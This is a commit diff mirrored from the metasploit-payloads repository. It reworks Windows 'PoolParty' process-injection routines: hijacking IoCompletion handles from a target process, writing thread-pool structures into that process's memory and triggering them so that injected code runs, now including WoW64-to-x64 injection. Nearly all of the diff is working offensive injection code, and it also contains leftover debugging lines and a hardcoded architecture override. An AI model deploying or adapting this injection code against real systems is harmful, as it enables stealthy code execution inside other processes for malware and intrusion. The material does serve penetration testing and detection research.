1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-02 11:36:22 +01:00

feat: improving remote handles fetching, tp_direct_insertion support wow64->x64 injection

This commit is contained in:
dledda-r7 2024-08-30 05:17:03 -04:00
parent 2a45039182
commit 7eab552207
No known key found for this signature in database
GPG Key ID: 4D4EC504A1F02FFF
2 changed files with 93 additions and 25 deletions

View File

@ -53,7 +53,8 @@ pNtDll* GetOrInitNtDll() {
return ntdll;
}
HANDLE GetIoCompletionHandle(HANDLE hProcess) {
HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) {
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
ULONG dwInformationSizeIn = 2048;
ULONG dwInformationSizeOut = 0;
@ -65,14 +66,14 @@ HANDLE GetIoCompletionHandle(HANDLE hProcess) {
DWORD ntStatus = 0;
lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p", lpProcessInfo);
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo);
while (TRUE) {
ntStatus = ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] NtQueryInformationProcess() : %p", ntStatus);
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : %p", ntStatus);
if (ntStatus == 0xC0000004L && dwInformationSizeIn != dwInformationSizeOut) {
lpProcessInfo = HeapReAlloc(hHeap, 0, lpProcessInfo, dwInformationSizeOut);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] HeapReAlloc lpProcessInfo: %p", lpProcessInfo);
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc lpProcessInfo: %p", lpProcessInfo);
dwInformationSizeIn = dwInformationSizeOut;
continue;
}
@ -84,16 +85,16 @@ HANDLE GetIoCompletionHandle(HANDLE hProcess) {
break;
}
}
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn);
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn);
dwInformationSizeIn = 2048;
dwInformationSizeOut = 0;
lpObjectInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpObjectInfo: %p", lpObjectInfo);
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpObjectInfo: %p", lpObjectInfo);
for (ULONG i = 0; i < lpProcessInfo->NumberOfHandles; i++) {
if (DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, IO_COMPLETION_ALL_ACCESS, FALSE, 0)) {
if (DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, dwDesiredAccess, FALSE, 0)) {
ntDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut);
if (dwInformationSizeIn > dwInformationSizeOut) {
if (lstrcmpW(L"IoCompletion", lpObjectInfo->TypeName.Buffer) == 0) {
if (lstrcmpW(typeName, lpObjectInfo->TypeName.Buffer) == 0) {
break;
}
}
@ -103,11 +104,11 @@ HANDLE GetIoCompletionHandle(HANDLE hProcess) {
}
HeapFree(hHeap, 0, lpObjectInfo);
HeapFree(hHeap, 0, lpProcessInfo);
dprintf("[INJECT][inject_via_poolparty][get_io_completion] hHijackHandle: %p", hHijackHandle);
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] hHijackHandle: %p", hHijackHandle);
return hHijackHandle;
}
DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerHandle) {
DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerHandle) {
BOOL bError = FALSE;
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
ULONG dwInformationSizeIn = 1;
@ -124,7 +125,7 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION]) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetIoCompletionHandle(hProcess);
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
if (hHijackHandle == INVALID_HANDLE_VALUE) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
@ -132,10 +133,10 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
if (hHijackHandle != INVALID_HANDLE_VALUE) {
PFULL_TP_WAIT hThreadPool = (PFULL_TP_WAIT)CreateThreadpoolWait((PTP_WAIT_CALLBACK)(lpStartAddress), lpParameter, NULL);
PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL);
PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT) + sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PTP_DIRECT pRemoteTpDirect = (PTP_DIRECT)(pRemoteTpWait + sizeof(FULL_TP_WAIT));
PTP_DIRECT pRemoteTpDirect = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL);
WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL);
ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, *hTriggerHandle, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL);
dwResult = 0;
@ -144,7 +145,7 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
return dwResult;
}
DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) {
DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) {
BOOL bError = FALSE;
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
ULONG dwInformationSizeIn = 1;
@ -152,28 +153,39 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
pNtDll* ntDll = NULL;
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
HANDLE hHeap = GetProcessHeap();
TP_DIRECT Direct = { 0 };
dwDestinationArch = PROCESS_ARCH_X64;
DWORD dwDirectSize = dwDestinationArch == PROCESS_ARCH_X64 ? TP_DIRECT_STRUCT_SIZE_X64 : TP_DIRECT_STRUCT_SIZE_X86;
WOW64_CONTEXT test = { 0 };
LPVOID *Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwDirectSize);
do {
ntDll = GetOrInitNtDll();
dprintf("%d fs offset: %p", sizeof(WOW64_CONTEXT), (QWORD)&test.SegFs - (QWORD)&test);
if (ntdll == NULL) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
}
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION]) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetIoCompletionHandle(hProcess);
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
if (hHijackHandle == INVALID_HANDLE_VALUE) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
}
if (hHijackHandle != INVALID_HANDLE_VALUE) {
Direct.Callback = lpStartAddress;
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (dwDestinationArch == PROCESS_ARCH_X64) {
*(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress;
}
if (dwDestinationArch == PROCESS_ARCH_X86) {
*(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86) = (DWORD)((QWORD)lpStartAddress);
}
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, dwDirectSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!RemoteDirectAddress) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_POOLPARTY_VARIANT_FAILED)
}
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL)) {
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, dwDirectSize, NULL)) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED)
}
ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
@ -181,4 +193,5 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
}
} while (0);
return dwResult;
}
}

View File

@ -6,15 +6,19 @@ typedef struct IUnknown IUnknown;
#include <winbase.h>
#include <winternl.h>
#define TP_DIRECT_STRUCT_SIZE_X64 72
#define TP_DIRECT_STRUCT_SIZE_X86 56
#define TP_DIRECT_STRUCT_CB_OFFSET_X64 0x38
#define TP_DIRECT_STRUCT_CB_OFFSET_X86 0x28
// ---------//
// Structs //
// --------//
#ifndef __MINGW32__
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID;
#endif
//typedef struct _FILE_IO_COMPLETION_INFORMATION
//{
@ -505,12 +509,65 @@ typedef VOID(NTAPI* PTP_ALPC_CALLBACK)(
_In_ PFULL_TP_ALPC Alpc
);
#define WORKER_FACTORY_RELEASE_WORKER 0x0001
#define WORKER_FACTORY_WAIT 0x0002
#define WORKER_FACTORY_SET_INFORMATION 0x0004
#define WORKER_FACTORY_QUERY_INFORMATION 0x0008
#define WORKER_FACTORY_READY_WORKER 0x0010
#define WORKER_FACTORY_SHUTDOWN 0x0020
#define WORKER_FACTORY_ALL_ACCESS ( \
STANDARD_RIGHTS_REQUIRED | \
WORKER_FACTORY_RELEASE_WORKER | \
WORKER_FACTORY_WAIT | \
WORKER_FACTORY_SET_INFORMATION | \
WORKER_FACTORY_QUERY_INFORMATION | \
WORKER_FACTORY_READY_WORKER | \
WORKER_FACTORY_SHUTDOWN \
)
// -----------//
// Structures //
// ----------//
typedef struct _WORKER_FACTORY_BASIC_INFORMATION
{
LARGE_INTEGER Timeout;
LARGE_INTEGER RetryTimeout;
LARGE_INTEGER IdleTimeout;
BOOLEAN Paused;
BOOLEAN TimerSet;
BOOLEAN QueuedToExWorker;
BOOLEAN MayCreate;
BOOLEAN CreateInProgress;
BOOLEAN InsertedIntoQueue;
BOOLEAN Shutdown;
ULONG BindingCount;
ULONG ThreadMinimum;
ULONG ThreadMaximum;
ULONG PendingWorkerCount;
ULONG WaitingWorkerCount;
ULONG TotalWorkerCount;
ULONG ReleaseCount;
LONGLONG InfiniteWaitGoal;
PVOID StartRoutine;
PVOID StartParameter;
HANDLE ProcessId;
SIZE_T StackReserve;
SIZE_T StackCommit;
NTSTATUS LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;
typedef struct pNtDll {
NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
NTSTATUS(NTAPI* pNtQueryObject)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG);
NTSTATUS(NTAPI* pZwAssociateWaitCompletionPacket)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN);
NTSTATUS(NTAPI* pZwSetIoCompletion)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR);
NTSTATUS(NTAPI* pNtQueryInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG);
NTSTATUS(NTAPI* pNtSetInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG);
//NTSTATUS(NTAPI* pZwSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG);
//NTSTATUS(NTAPI* pNtAlpcCreatePort)(PHANDLE, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES);
@ -522,7 +579,5 @@ typedef struct pNtDll {
//NTSTATUS(NTAPI* pNtTpAllocAlpcCompletion)(PVOID, HANDLE, PVOID, PVOID, PVOID);
//NTSTATUS(NTAPI* pTpAllocJobNotification)(PVOID, HANDLE, PVOID, PVOID, PVOID);
//NTSTATUS(NTAPI* pNtQueryInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG);
//NTSTATUS(NTAPI* pNtSetInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG);
}pNtDll;
#endif